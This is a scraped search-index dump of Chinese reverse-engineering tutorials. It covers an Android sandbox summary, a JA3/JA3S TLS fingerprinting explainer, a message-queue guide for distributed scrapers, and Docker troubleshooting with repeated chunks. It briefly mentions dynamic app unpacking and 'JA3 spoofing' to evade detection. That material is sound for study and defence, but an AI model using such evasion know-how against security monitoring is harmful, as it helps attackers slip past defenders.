沙箱环境是执行动态脱壳的理想场所，因为可以完全控制 App 的加载和执行过程。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:6:2","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#62-动态脱壳"},{"categories":null,"collections":null,"content":"7. 总结 Android 沙箱技术通过进程内虚拟化实现了在单一设备上运行多个隔离应用的能力。核心技术包括： 模块 技术 关键类/方法 类加载 DexClassLoader loadClass(), addAssetPath() 组件管理 Stub 占坑 AndroidManifest.xml, 反射 系统 Hook 动态代理 Proxy.newProxyInstance() 资源管理 自定义 Resources AssetManager, ContextWrapper 这项技术在应用多开、安全分析、自动化测试等领域有广泛应用，但也面临着 Android 版本兼容性、厂商 ROM 差异、Native 代码支持等挑战。 推荐下一步：AOSP 与系统定制 ","date":"2025-04-27","objectID":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/:7:0","tags":["Native层","签名验证","SSL Pinning","代理池","DEX","高级"],"title":"Android 沙箱技术与实现指南","uri":"/reverse_engineering/android/04-reference/advanced/android_sandbox_implementation/#7-总结"},{"categories":null,"collections":null,"content":"JA3 TLS 指纹识别技术详解 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： 网络抓包技术 - 使用 Wireshark 捕获 TLS 握手 TLS/SSL 协议基础 - 理解 Client Hello 消息结构 JA3 是一种创建 SSL/TLS 客户端指纹的方法，旨在轻松识别网络上的客户端应用程序。当客户端与服务器建立加密连接时，它首先会发送一个 Client Hello 包。这个包的格式和内容在很大程度上取决于用于创建连接的客户端应用程序（例如浏览器、恶意软件、移动 App）中的库和方法。JA3 通过收集 Client Hello 包中特定字段的值，并将它们组合成一个易于共享和比较的 MD5 哈希值，从而为客户端生成一个独特的\"指纹\"。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/:0:0","tags":["SSL Pinning","网络分析","加密分析","抓包","Android","加密"],"title":"JA3 TLS 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/#ja3-tls-指纹识别技术详解"},{"categories":null,"collections":null,"content":"工作原理 JA3 指纹的核心思想是：客户端的 Client Hello 包暴露了其身份。 一个 Client Hello 包包含了客户端希望如何与服务器进行通信的各种细节。JA3 方法精确地选择了以下 5 个字段，并按照特定顺序将它们串联起来： SSL/TLS Version (版本号): 客户端支持的最高 TLS 版本。 Accepted Ciphers (加密套件): 客户端愿意接受的加密套件列表，按其偏好顺序排列。 List of Extensions (扩展列表): Client Hello 中包含的所有扩展，按其出现顺序排列。 Elliptic Curves (椭圆曲线): 客户端支持的椭圆曲线列表。 Elliptic Curve Point Formats (椭圆曲线点格式): 支持的点格式列表。 这些字段的组合对于特定的客户端应用程序（及其版本）来说通常是独一无二的。例如，Chrome 浏览器、Firefox 浏览器、Tor 浏览器和一个 Golang 编写的僵尸网络程序，它们生成的 Client Hello 在这些字段上会有明显的差异。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/:0:1","tags":["SSL Pinning","网络分析","加密分析","抓包","Android","加密"],"title":"JA3 TLS 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/#工作原理"},{"categories":null,"collections":null,"content":"指纹生成过程 生成 JA3 指纹的步骤如下： 收集字段值: 从一个 TCP 会话的 Client Hello 包中，提取上述 5 个字段的十进制值。 格式化和拼接: 每个字段内的值用 - 分隔。 5 个主要字段之间用 , 分隔。 例如，一个 JA3 字符串看起来像这样：771,4865-4866-4867-49195-49199-...,23-65281-10-11-35-16-0-13-18,29-23-24,0 计算 MD5 哈希: 对上述拼接好的字符串计算 MD5 哈希值。 最终指纹: 得到的 32 位十六进制字符串就是该客户端的 JA3 指纹。 例如，上述字符串的 MD5 哈希可能是：e7d705a3286e19ea42f587b344ee6865。 这个最终的 MD5 哈希就是可用于识别、共享和查询的 JA3 指纹。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/:0:2","tags":["SSL Pinning","网络分析","加密分析","抓包","Android","加密"],"title":"JA3 TLS 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/#指纹生成过程"},{"categories":null,"collections":null,"content":"JA3S - 服务器端指纹 与 JA3 对应，JA3S 是对服务器响应的指纹。它基于服务器在 Server Hello 包中选择的参数。JA3S 收集以下字段： SSL/TLS Version Selected Cipher List of Extensions 将这些值拼接并进行 MD5 哈希，就得到了 JA3S 指纹。 为什么 JA3S 很重要？ 将 JA3 和 JA3S 结合起来，可以提供对加密连接的更强洞察力。例如，一个恶意软件 (JA3) 可能会尝试连接多个不同的 C2 服务器 (不同的 JA3S)。反之，一个 C2 服务器 (JA3S) 可能会接受来自不同类型恶意软件 (不同的 JA3) 的连接。这种组合分析可以更精确地描绘出威胁活动的全貌。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/:0:3","tags":["SSL Pinning","网络分析","加密分析","抓包","Android","加密"],"title":"JA3 TLS 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/#ja3s---服务器端指纹"},{"categories":null,"collections":null,"content":"应用场景 恶意软件家族识别: 许多恶意软件家族（如 Trickbot, Emotet）使用特定的 SSL/TLS 库，导致它们具有独特且一致的 JA3 指纹。安全分析师可以创建规则来检测或阻止已知的恶意 JA3 哈希。 僵尸网络检测: 僵尸网络中的客户端通常是相同的程序，因此它们的 JA3 指纹也是相同的。这使得大规模识别受感染主机成为可能。 威胁情报共享: JA3 指纹是一个优秀的技术性\"失陷指标\"(IOC)。安全社区可以共享已知的恶意 JA3 列表，就像共享恶意 IP 地址或域名一样。 识别非标准应用: 可以用于识别组织内部网络中不合规或非标准的应用程序。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/:0:4","tags":["SSL Pinning","网络分析","加密分析","抓包","Android","加密"],"title":"JA3 TLS 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/#应用场景"},{"categories":null,"collections":null,"content":"局限性 尽管 JA3 非常有用，但它也有一些明显的缺点： 指纹冲突: 不同的应用程序可能偶然会使用相同的加密库和配置，从而产生相同的 JA3 指纹。 容易被规避 (Spoofing): 只要攻击者有能力修改其客户端的 SSL/TLS 库，他们就可以刻意模仿一个常见、合法的应用程序（如 Chrome 浏览器）的 Client Hello 包，从而生成一个\"合法\"的 JA3 指纹来逃避检测。这种技术被称为\"JA3 欺骗\"。 指纹随版本变化: 当一个合法应用（如 Chrome）更新时，它的 TLS 实现可能会改变，导致其 JA3 指纹也发生变化。这意味着维护一个准确的指纹数据库需要持续的努力。 信息有限: 一个 MD5 哈希本身不包含任何信息。你无法从两个不同的哈希值看出它们对应的客户端有多相似。例如，Chrome 90 和 Chrome 91 的 JA3 哈希可能完全不同，即使它们的 Client Hello 包只有微小的差异。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/:0:5","tags":["SSL Pinning","网络分析","加密分析","抓包","Android","加密"],"title":"JA3 TLS 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/#局限性"},{"categories":null,"collections":null,"content":"如何检测 JA3 要实现 JA3 检测，你需要能够监控网络流量并解析 TLS 握手的工具。常见的实现方式包括： 网络安全监控 (NSM) 工具: Zeek (原名 Bro) 是原生支持 JA3 和 JA3S 指纹生成的黄金标准。 Suricata: 从 4.1 版本开始，Suricata 也内置了 JA3 指纹功能。 Wireshark: 可以通过特定的插件或手动的 tshark 脚本来提取和计算 JA3。 ","date":"2025-04-27","objectID":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/:0:6","tags":["SSL Pinning","网络分析","加密分析","抓包","Android","加密"],"title":"JA3 TLS 指纹识别技术详解","uri":"/reverse_engineering/android/01-recipes/network/ja3_fingerprinting/#如何检测-ja3"},{"categories":null,"collections":null,"content":"消息队列应用 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:0:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#消息队列应用"},{"categories":null,"collections":null,"content":"概述 消息队列是分布式爬虫系统的核心组件，用于解耦生产者和消费者、削峰填谷、异步处理。本章介绍常见消息队列的使用。 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:1:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#概述"},{"categories":null,"collections":null,"content":"消息队列对比 特性 RabbitMQ Kafka Redis Celery 性能 中等 极高 高 中等 可靠性 高 高 中 中 消息顺序 支持 强保证 不保证 不保证 持久化 支持 支持 可选 依赖 Broker 适用场景 通用消息队列 日志收集、流处理 轻量级队列 异步任务 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:2:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#消息队列对比"},{"categories":null,"collections":null,"content":"RabbitMQ ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:3:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#rabbitmq"},{"categories":null,"collections":null,"content":"基本概念 Producer: 生产者，发送消息 Consumer: 消费者，接收消息 Exchange: 交换机，路由消息 Queue: 队列，存储消息 Binding: 绑定，Exchange 和 Queue 的关系 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:3:1","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#基本概念"},{"categories":null,"collections":null,"content":"安装启动 # Docker 启动 docker run -d --name rabbitmq \\ -p 5672:5672 \\ -p 15672:15672 \\ rabbitmq:3-management # 访问管理界面 # http://localhost:15672 # 默认账号: guest/guest ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:3:2","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#安装启动"},{"categories":null,"collections":null,"content":"Python 客户端 import pika import json class RabbitMQClient: def __init__(self, host='localhost'): self.connection = pika.BlockingConnection( pika.ConnectionParameters(host=host) ) self.channel = self.connection.channel() def declare_queue(self, queue_name): \"\"\"声明队列\"\"\" self.channel.queue_declare( queue=queue_name, durable=True # 持久化 ) def publish(self, queue_name, message): \"\"\"发布消息\"\"\" self.channel.basic_publish( exchange='', routing_key=queue_name, body=json.dumps(message), properties=pika.BasicProperties( delivery_mode=2, # 消息持久化 ) ) def consume(self, queue_name, callback): \"\"\"消费消息\"\"\" self.channel.basic_qos(prefetch_count=1) self.channel.basic_consume( queue=queue_name, on_message_callback=callback ) self.channel.start_consuming() def close(self): self.connection.close() # 生产者 producer = RabbitMQClient() producer.declare_queue('urls') producer.publish('urls', {'url': 'https://example.com', 'depth': 0}) # 消费者 def process_url(ch, method, properties, body): message = json.loads(body) print(f\"Processing: {message['url']}\") # 处理完成后确认 ch.basic_ack(delivery_tag=method.delivery_tag) consumer = RabbitMQClient() consumer.consume('urls', process_url) ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:3:3","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#python-客户端"},{"categories":null,"collections":null,"content":"Topic Exchange 示例 class TopicExchangeClient: def __init__(self): self.connection = pika.BlockingConnection( pika.ConnectionParameters('localhost') ) self.channel = self.connection.channel() # 声明 Topic Exchange self.channel.exchange_declare( exchange='scraper_topics', exchange_type='topic', durable=True ) def publish_with_routing(self, routing_key, message): \"\"\"发布带路由的消息\"\"\" self.channel.basic_publish( exchange='scraper_topics', routing_key=routing_key, body=json.dumps(message) ) def subscribe_pattern(self, pattern, callback): \"\"\"订阅符合模式的消息\"\"\" result = self.channel.queue_declare('', exclusive=True) queue_name = result.method.queue self.channel.queue_bind( exchange='scraper_topics', queue=queue_name, routing_key=pattern ) self.channel.basic_consume( queue=queue_name, on_message_callback=callback, auto_ack=True ) self.channel.start_consuming() # 使用 client = TopicExchangeClient() # 发布不同类型的消息 client.publish_with_routing('news.tech', {'title': 'Tech News'}) client.publish_with_routing('news.sports', {'title': 'Sports News'}) client.publish_with_routing('video.movie', {'title': 'Movie Title'}) # 订阅所有新闻 client.subscribe_pattern('news.*', callback) # 订阅所有消息 client.subscribe_pattern('#', callback) ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:3:4","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#topic-exchange-示例"},{"categories":null,"collections":null,"content":"Kafka ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:4:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#kafka"},{"categories":null,"collections":null,"content":"适用场景 大规模日志收集 实时数据流处理 高吞吐量消息传递 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:4:1","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#适用场景"},{"categories":null,"collections":null,"content":"启动 Kafka # Docker Compose version: '3' services: zookeeper: image: confluentinc/cp-zookeeper:latest environment: ZOOKEEPER_CLIENT_PORT: 2181 kafka: image: confluentinc/cp-kafka:latest depends_on: - zookeeper ports: - \"9092:9092\" environment: KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://localhost:9092 KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:4:2","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#启动-kafka"},{"categories":null,"collections":null,"content":"Python 客户端 from kafka import KafkaProducer, KafkaConsumer import json class KafkaClient: def __init__(self, bootstrap_servers='localhost:9092'): self.bootstrap_servers = bootstrap_servers def get_producer(self): \"\"\"获取生产者\"\"\" return KafkaProducer( bootstrap_servers=self.bootstrap_servers, value_serializer=lambda v: json.dumps(v).encode('utf-8'), acks='all', # 等待所有副本确认 retries=3 ) def get_consumer(self, topic, group_id='scraper-group'): \"\"\"获取消费者\"\"\" return KafkaConsumer( topic, bootstrap_servers=self.bootstrap_servers, group_id=group_id, value_deserializer=lambda m: json.loads(m.decode('utf-8')), auto_offset_reset='earliest', enable_auto_commit=True ) # 生产者 client = KafkaClient() producer = client.get_producer() # 发送消息 for i in range(100): message = {'url': f'https://example.com/page/{i}', 'index': i} producer.send('scraper-urls', value=message) producer.flush() producer.close() # 消费者 consumer = client.get_consumer('scraper-urls') for message in consumer: data = message.value print(f\"Processing: {data['url']}\") ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:4:3","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#python-客户端-1"},{"categories":null,"collections":null,"content":"Celery ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:5:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#celery"},{"categories":null,"collections":null,"content":"安装配置 pip install celery[redis] ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:5:1","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#安装配置"},{"categories":null,"collections":null,"content":"定义任务 # tasks.py from celery import Celery import requests app = Celery( 'scraper', broker='redis://localhost:6379/0', backend='redis://localhost:6379/1' ) app.conf.update( task_serializer='json', accept_content=['json'], result_serializer='json', timezone='Asia/Shanghai', enable_utc=True, ) @app.task(bind=True, max_retries=3) def scrape_url(self, url): \"\"\"爬取 URL 任务\"\"\" try: response = requests.get(url, timeout=10) return { 'url': url, 'status_code': response.status_code, 'content_length': len(response.content) } except Exception as exc: # 重试 raise self.retry(exc=exc, countdown=60) @app.task def process_data(data): \"\"\"处理数据任务\"\"\" print(f\"Processing: {data}\") return {'status': 'processed'} # 任务链 @app.task def save_to_db(result): \"\"\"保存到数据库\"\"\" print(f\"Saving: {result}\") return {'status': 'saved'} ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:5:2","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#定义任务"},{"categories":null,"collections":null,"content":"启动 Worker # 启动 Celery Worker celery -A tasks worker --loglevel=info # 启动多个 Worker celery -A tasks worker --concurrency=10 # 启动 Flower (监控工具) celery -A tasks flower ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:5:3","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#启动-worker"},{"categories":null,"collections":null,"content":"调用任务 from tasks import scrape_url, process_data, save_to_db # 异步调用 result = scrape_url.delay('https://example.com') # 获取结果 print(result.get(timeout=10)) # 任务链 from celery import chain workflow = chain( scrape_url.s('https://example.com'), process_data.s(), save_to_db.s() ) result = workflow.apply_async() # 任务组（并行） from celery import group job = group([ scrape_url.s(f'https://example.com/page/{i}') for i in range(10) ]) result = job.apply_async() ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:5:4","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#调用任务"},{"categories":null,"collections":null,"content":"定时任务 from celery.schedules import crontab app.conf.beat_schedule = { 'scrape-every-hour': { 'task': 'tasks.scrape_url', 'schedule': crontab(minute=0), # 每小时执行 'args': ('https://example.com',) }, 'cleanup-every-day': { 'task': 'tasks.cleanup', 'schedule': crontab(hour=0, minute=0), # 每天凌晨 }, } # 启动 Beat # celery -A tasks beat --loglevel=info ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:5:5","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#定时任务"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:6:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#最佳实践"},{"categories":null,"collections":null,"content":"1. 消息持久化 # 队列持久化 channel.queue_declare(queue='urls', durable=True) # 消息持久化 channel.basic_publish( exchange='', routing_key='urls', body=message, properties=pika.BasicProperties(delivery_mode=2) ) ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:6:1","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#1-消息持久化"},{"categories":null,"collections":null,"content":"2. 消息确认 # 手动确认 channel.basic_consume( queue='urls', on_message_callback=callback, auto_ack=False # 禁用自动确认 ) def callback(ch, method, properties, body): # 处理消息 process(body) # 确认 ch.basic_ack(delivery_tag=method.delivery_tag) ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:6:2","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#2-消息确认"},{"categories":null,"collections":null,"content":"3. 限流控制 # 预取数量限制 channel.basic_qos(prefetch_count=1) ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:6:3","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#3-限流控制"},{"categories":null,"collections":null,"content":"4. 死信队列 # 声明死信队列 channel.queue_declare(queue='dead_letter_queue', durable=True) # 配置主队列 channel.queue_declare( queue='urls', durable=True, arguments={ 'x-dead-letter-exchange': '', 'x-dead-letter-routing-key': 'dead_letter_queue', 'x-message-ttl': 60000 # 60秒后过期 } ) ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:6:4","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#4-死信队列"},{"categories":null,"collections":null,"content":"相关章节 分布式爬虫架构 监控与告警系统 Docker 容器化部署 ","date":"2025-04-27","objectID":"/reverse_engineering/web/06-engineering/message_queue_application/:7:0","tags":["Web","Docker","工程实践","分布式","DEX","部署"],"title":"消息队列应用","uri":"/reverse_engineering/web/06-engineering/message_queue_application/#相关章节"},{"categories":null,"collections":null,"content":"Docker 部署问题 Docker 容器化部署中的常见问题及解决方案。 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:0:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#docker-部署问题"},{"categories":null,"collections":null,"content":"容器启动失败 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:1:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#容器启动失败"},{"categories":null,"collections":null,"content":"问题表现 Error response from daemon: Container xxx exited with code 1 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:1:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#问题表现"},{"categories":null,"collections":null,"content":"解决方案 1. 查看日志 # 查看容器日志 docker logs container_name # 实时查看日志 docker logs -f container_name # 查看最近的日志 docker logs --tail 100 container_name # 查看带时间戳的日志 docker logs -t container_name 2. 检查容器状态 # 查看所有容器 (包括停止的) docker ps -a # 查看容器详细信息 docker inspect container_name # 查看容器资源使用 docker stats container_name 3. 进入容器调试 # 进入运行中的容器 docker exec -it container_name bash # 如果容器已停止,使用临时容器 docker run -it --rm image_name bash # 使用 sh (如果 bash 不可用) docker exec -it container_name sh 4. 检查启动命令 # docker-compose.yml services: app: image: myapp:latest command: python app.py # 确保命令正确 # 或使用数组格式 command: [\"python\", \"app.py\"] ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:1:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#解决方案"},{"categories":null,"collections":null,"content":"解决方案 1. 查看日志 # 查看容器日志 docker logs container_name # 实时查看日志 docker logs -f container_name # 查看最近的日志 docker logs --tail 100 container_name # 查看带时间戳的日志 docker logs -t container_name 2. 检查容器状态 # 查看所有容器 (包括停止的) docker ps -a # 查看容器详细信息 docker inspect container_name # 查看容器资源使用 docker stats container_name 3. 进入容器调试 # 进入运行中的容器 docker exec -it container_name bash # 如果容器已停止,使用临时容器 docker run -it --rm image_name bash # 使用 sh (如果 bash 不可用) docker exec -it container_name sh 4. 检查启动命令 # docker-compose.yml services: app: image: myapp:latest command: python app.py # 确保命令正确 # 或使用数组格式 command: [\"python\", \"app.py\"] ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:1:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#1-查看日志"},{"categories":null,"collections":null,"content":"解决方案 1. 查看日志 # 查看容器日志 docker logs container_name # 实时查看日志 docker logs -f container_name # 查看最近的日志 docker logs --tail 100 container_name # 查看带时间戳的日志 docker logs -t container_name 2. 检查容器状态 # 查看所有容器 (包括停止的) docker ps -a # 查看容器详细信息 docker inspect container_name # 查看容器资源使用 docker stats container_name 3. 进入容器调试 # 进入运行中的容器 docker exec -it container_name bash # 如果容器已停止,使用临时容器 docker run -it --rm image_name bash # 使用 sh (如果 bash 不可用) docker exec -it container_name sh 4. 检查启动命令 # docker-compose.yml services: app: image: myapp:latest command: python app.py # 确保命令正确 # 或使用数组格式 command: [\"python\", \"app.py\"] ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:1:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#2-检查容器状态"},{"categories":null,"collections":null,"content":"解决方案 1. 查看日志 # 查看容器日志 docker logs container_name # 实时查看日志 docker logs -f container_name # 查看最近的日志 docker logs --tail 100 container_name # 查看带时间戳的日志 docker logs -t container_name 2. 检查容器状态 # 查看所有容器 (包括停止的) docker ps -a # 查看容器详细信息 docker inspect container_name # 查看容器资源使用 docker stats container_name 3. 进入容器调试 # 进入运行中的容器 docker exec -it container_name bash # 如果容器已停止,使用临时容器 docker run -it --rm image_name bash # 使用 sh (如果 bash 不可用) docker exec -it container_name sh 4. 检查启动命令 # docker-compose.yml services: app: image: myapp:latest command: python app.py # 确保命令正确 # 或使用数组格式 command: [\"python\", \"app.py\"] ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:1:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#3-进入容器调试"},{"categories":null,"collections":null,"content":"解决方案 1. 查看日志 # 查看容器日志 docker logs container_name # 实时查看日志 docker logs -f container_name # 查看最近的日志 docker logs --tail 100 container_name # 查看带时间戳的日志 docker logs -t container_name 2. 检查容器状态 # 查看所有容器 (包括停止的) docker ps -a # 查看容器详细信息 docker inspect container_name # 查看容器资源使用 docker stats container_name 3. 进入容器调试 # 进入运行中的容器 docker exec -it container_name bash # 如果容器已停止,使用临时容器 docker run -it --rm image_name bash # 使用 sh (如果 bash 不可用) docker exec -it container_name sh 4. 检查启动命令 # docker-compose.yml services: app: image: myapp:latest command: python app.py # 确保命令正确 # 或使用数组格式 command: [\"python\", \"app.py\"] ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:1:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#4-检查启动命令"},{"categories":null,"collections":null,"content":"网络连接问题 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:2:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#网络连接问题"},{"categories":null,"collections":null,"content":"容器无法访问外网 解决方案: # 1. 检查 DNS 配置 docker run --rm alpine ping google.com # 2. 指定 DNS 服务器 docker run --dns 8.8.8.8 --dns 8.8.4.4 myimage # 3. docker-compose.yml 中配置 services: app: dns: - 8.8.8.8 - 8.8.4.4 # 4. 检查 Docker 网络设置 docker network ls docker network inspect bridge ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:2:1","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#容器无法访问外网"},{"categories":null,"collections":null,"content":"容器间无法通信 解决方案: # 1. 确保在同一网络中 docker-compose.yml: services: app: networks: - mynetwork db: networks: - mynetwork networks: mynetwork: driver: bridge # 2. 使用服务名访问 # 在 app 容器中访问 db 容器 ping db # 而不是 localhost # 3. 检查防火墙 sudo ufw status sudo iptables -L # 4. 检查端口映射 docker port container_name ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:2:2","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#容器间无法通信"},{"categories":null,"collections":null,"content":"端口冲突 问题表现: Error: Bind for 0.0.0.0:8080 failed: port is already allocated 解决方案: # 1. 查看端口占用 lsof -i :8080 # Linux/Mac netstat -ano | findstr :8080 # Windows # 2. 修改端口映射 docker run -p 8081:8080 myimage # 使用其他主机端口 # 3. docker-compose.yml services: app: ports: - \"8081:8080\" # host:container # 4. 停止占用端口的容器 docker ps | grep 8080 docker stop container_name ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:2:3","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#端口冲突"},{"categories":null,"collections":null,"content":"卷挂载问题 ","date":"2025-04-26","objectID":"/reverse_engineering/web/10-troubleshooting/docker_issues/:3:0","tags":["Web","问题排查","Docker","Root检测","调试"],"title":"Docker 部署问题","uri":"/reverse_engineering/web/10-troubleshooting/docker_issues/#卷挂载问题"},{"categories":null,"collections":null,"content":"文件权限错误 问题表现: PermissionError: [Errno 13] Permission denied: '/app/data/file.txt' 解决方案: # 1. Dockerfile 中设置正确的权限 FROM 